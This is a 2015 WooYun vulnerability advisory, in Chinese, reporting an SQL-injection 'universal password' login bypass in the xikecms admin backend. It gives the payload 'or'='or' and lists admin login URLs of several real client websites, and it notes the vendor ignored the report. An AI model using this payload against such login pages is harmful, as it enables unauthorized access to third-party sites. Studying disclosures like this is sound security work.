漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0111860
漏洞标题：xikecms系统后台存在万能密码登陆
相关厂商：xikecms
漏洞作者： 神秘的产品经理
提交时间：2015-05-06 14:52
修复时间：2015-06-20 14:54
公开时间：2015-06-20 14:54
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：11
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-05-06： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-06-20： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
xikecms系统后台存在万能密码登陆
详细说明：
析客网络 http://www.xike123.cn/ 是一个网站建设公司，为客户创建网站使用的是自家的CMS系统。
看了一下他的客户案例，好像还真的不少呢。
漏洞证明：
后台地址：http://www.jmbwg.com/SysAdmin/login.aspx 'or'='or'
http://www.xyhyjjt.com/SysAdmin/login.aspx
http://www.displaye.cc/sysadmin/index.aspx
http://jmll2zx.com:1016/SysAdmin/index.aspx
http://www.gdkairun.com/SysAdmin/index.aspx
http://party.apt-hk.com/SysAdmin/login.aspx等等。
案例中心太多了http://www.xike123.cn/case.htm ，好像有的网站换掉了。
修复方案：
版权声明：转载请注明来源 神秘的产品经理@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝